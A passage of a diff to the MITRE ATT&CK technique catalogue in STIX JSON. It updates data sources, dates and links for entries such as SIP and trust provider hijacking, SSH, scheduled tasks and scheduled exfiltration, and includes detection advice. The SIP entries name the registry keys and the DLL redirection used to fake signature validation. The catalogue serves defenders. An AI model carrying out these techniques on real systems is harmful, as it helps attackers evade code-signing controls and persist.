invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)", + "description": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)", "id": "attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc", "type": "attack-pattern", "kill_chain_phases": [ @@ -26935,7 +28332,7 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-06-20T22:42:26.022Z", + "modified": "2021-02-09T15:58:04.719Z", "created": "2020-02-05T19:34:04.910Z", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -26949,16 +28346,11 @@ "Digital Certificate Validation", "User Mode Signature Validation" ], - "x_mitre_detection": "Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1117). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)", + "x_mitre_detection": "Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)", "x_mitre_data_sources": [ - "Windows Registry", - "API monitoring", - "Application logs", - "DLL monitoring", - "Loaded DLLs", - "Process monitoring", - "Windows Registry", - "Windows event logs" + "Module: Module Load", + "Windows Registry: Windows Registry Key Modification", + "File: File Modification" ], "x_mitre_contributors": [ "Matt Graeber, @mattifestation, SpecterOps" @@ -27037,10 +28429,11 @@ "Administrator" ], "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "Authentication logs", - "Process use of network" + "Command: Command Execution", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Logon Session: Logon Session Creation", + "Network Share: Network Share Access" ], "x_mitre_system_requirements": [ "SMB enabled; Host/network firewalls not blocking SMB ports between source and destination; Use of domain account in administrator group on remote system or default system admin account." @@ -27091,9 +28484,8 @@ "modified": "2020-10-22T01:54:22.812Z", "created": "2020-10-19T23:51:05.953Z", "x_mitre_data_sources": [ - "Netflow/Enclave netflow", - "Network protocol analysis", - "Packet capture" + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" ], "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -27155,7 +28547,7 @@ "modified": "2020-03-25T23:30:20.638Z", "created": "2019-12-12T14:59:58.168Z", "x_mitre_data_sources": [ - "Application logs" + "Application Log: Application Log Content" ], "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -27176,6 +28568,22 @@ ] }, { + "created": "2020-02-11T18:27:15.774Z", + "modified": "2020-03-23T23:43:46.977Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.(Citation: SSH Secure Shell)", + "name": "SSH", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -27193,37 +28601,20 @@ "description": "SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "SSH", - "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.(Citation: SSH Secure Shell)", - "id": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "lateral-movement" - } - ], - "modified": "2020-03-23T23:43:46.977Z", - "created": "2020-02-11T18:27:15.774Z", - "x_mitre_system_requirements": [ - "An SSH server is configured and running." - ], - "x_mitre_data_sources": [ - "Authentication logs", - "Process use of network", - "Network protocol analysis", - "Netflow/Enclave netflow" - ], - "x_mitre_detection": "Use of SSH may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Linux", "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0", + "x_mitre_detection": "Use of SSH may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Network Traffic: Network Connection Creation", + "Logon Session: Logon Session Creation" + ], + "x_mitre_system_requirements": [ + "An SSH server is configured and running." ] }, { @@ -27273,9 +28664,9 @@ ], "x_mitre_detection": "Use file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file.\n\nMonitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config.", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "File monitoring" + "Process: Process Creation", + "Command: Command Execution", + "File: File Modification" ], "x_mitre_contributors": [ "Tony Lambert, Red Canary" @@ -27378,7 +28769,11 @@ "SSH service enabled, trust relationships configured, established connections" ], "x_mitre_data_sources": [ - "Authentication logs" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Logon Session: Logon Session Creation", + "Command: Command Execution", + "Process: Process Creation" ], "x_mitre_contributors": [ "Anastasios Pingios" @@ -27402,7 +28797,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Scan Databases", - "description": "Before compromising a victim, adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)\n\nAdversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", + "description": "Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)\n\nAdversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "id": "attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f", "type": "attack-pattern", "kill_chain_phases": [ @@ -27411,7 +28806,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:20:18.786Z", + "modified": "2021-04-15T03:49:49.260Z", "created": "2020-10-02T17:00:44.586Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -27438,7 +28833,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Scanning IP Blocks", - "description": "Before compromising a victim, adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.\n\nAdversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "description": "Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.\n\nAdversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "id": "attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120", "type": "attack-pattern", "kill_chain_phases": [ @@ -27447,11 +28842,10 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:06:09.139Z", + "modified": "2021-04-15T03:19:38.469Z", "created": "2020-10-02T16:54:23.193Z", "x_mitre_data_sources": [ - "Packet capture", - "Network device logs" + "Network Traffic: Network Traffic Flow" ], "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -27461,6 +28855,23 @@ ] }, { + "created": "2019-11-27T14:58:00.429Z", + "modified": "2020-12-30T14:26:44.730Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "type": "attack-pattern", "external_references": [ { "source_name": "mitre-attack", @@ -27500,23 +28911,6 @@ "name": "Scheduled Task", "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At (Windows)](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).", "id": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "modified": "2020-03-24T13:45:03.730Z", - "created": "2019-11-27T14:58:00.429Z", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, "x_mitre_remote_support": true, @@ -27525,33 +28919,16 @@ ], "x_mitre_detection": "Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.", "x_mitre_data_sources": [ - "File monitoring", - "Process command-line parameters", - "Process monitoring", - "Windows event logs" + "Scheduled Job: Scheduled Job Creation", + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation" ], "x_mitre_platforms": [ "Windows" ] }, { - "created": "2017-05-31T21:30:46.977Z", - "modified": "2020-10-14T15:20:01.069Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "type": "attack-pattern", "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Scheduled Task/Job", @@ -27576,10 +28953,28 @@ "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "modified": "2021-04-20T16:31:11.405Z", + "created": "2017-05-31T21:30:46.977Z", "x_mitre_platforms": [ "Windows", "Linux", - "macOS" + "macOS", + "Containers" ], "x_mitre_remote_support": true, "x_mitre_effective_permissions": [ @@ -27594,10 +28989,12 @@ ], "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters", - "Windows event logs" + "File: File Creation", + "Container: Container Creation", + "Scheduled Job: Scheduled Job Creation", + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation" ], "x_mitre_contributors": [ "Prashant Verma, Paladion", @@ -27605,14 +29002,22 @@ "Travis Smith, Tripwire", "Alain Homewood, Insomnia Security" ], - "x_mitre_version": "2.0", + "x_mitre_version": "2.1", "x_mitre_is_subtechnique": false }, { - "id": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Scheduled Transfer", - "description": "Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", + "created": "2017-05-31T21:30:34.139Z", + "modified": "2020-03-28T00:26:48.769Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "type": "attack-pattern", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -27620,32 +29025,23 @@ "external_id": "T1029" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "description": "Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", + "name": "Scheduled Transfer", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", + "x_mitre_version": "1.1", + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow" ], - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "exfiltration" - } - ], - "modified": "2020-03-28T00:26:48.769Z", - "created": "2017-05-31T21:30:34.139Z", - "x_mitre_is_subtechnique": false, + "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.", + "x_mitre_network_requirements": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], - "x_mitre_network_requirements": true, - "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.", - "x_mitre_data_sources": [ - "Netflow/Enclave netflow", - "Process use of network", - "Process monitoring" - ], - "x_mitre_version": "1.1" + "x_mitre_is_subtechnique": false }, { "object_marking_refs": [ @@ -27689,9 +29085,8 @@ "x_mitre_is_subtechnique": false, "x_mitre_version": "1.1", "x_mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "File monitoring" + "Process: OS API Execution", + "Command: Command Execution" ], "x_mitre_detection": "Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.", "x_mitre_platforms": [ @@ -27770,10 +29165,11 @@ ], "x_mitre_detection": "Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.", "x_mitre_data_sources": [ - "File monitoring", - "Windows Registry", - "Process command-line parameters", - "Process monitoring" + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "File: File Creation", + "File: File Modification" ], "x_mitre_contributors": [ "Bartosz Jerzman" @@ -27850,11 +29246,6 @@ "Data Execution Prevention", "Exploit Prevention" ], - "x_mitre_data_sources": [ - "Process monitoring", - "File monitoring", - "Process command-line parameters" - ], "x_mitre_version": "1.0", "x_mitre_is_subtechnique": false, "x_mitre_deprecated": true @@ -27882,7 +29273,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Search Closed Sources", - "description": "Before compromising a victim, adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote 